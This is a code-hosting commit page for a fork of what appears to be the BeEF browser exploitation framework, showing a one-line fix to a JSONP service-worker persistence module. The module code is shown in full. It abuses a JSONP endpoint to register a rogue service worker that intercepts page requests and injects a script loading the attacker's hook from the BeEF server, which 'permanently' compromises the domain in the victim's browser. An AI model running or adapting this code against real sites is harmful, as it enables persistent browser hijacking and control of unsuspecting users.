Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge pull request #1393 from clod81/fix_jsonp_persistence_html_payload

Browse Source 
JSONP tempBody variable working again
This commit is contained in:
Brendan Coles
2017-04-28 18:32:32 +10:00
committed by GitHub
parent b65dec0449 318796b11c
commit a2dbb6f7e2
1 changed files with 1 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
modules/persistence/jsonp_service_worker/command.js
View File

@@ -7,7 +7,7 @@
beef.execute(function() {
var scriptElem = document.createElement("script");
var hook = encodeURIComponent(beef.net.hook);
var tempBody = encodeURIComponent('<%= @tempBody.gsub!(/'/, "\\'") %>');
var tempBody = encodeURIComponent('<%= @tempBody.gsub(/'/, "\\'") %>');
scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27'+tempBody+'%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+hook+'%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")';
$j("body").append(scriptElem);
beef.net.send("<%= @command_url %>", <%=@command_id%>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected.");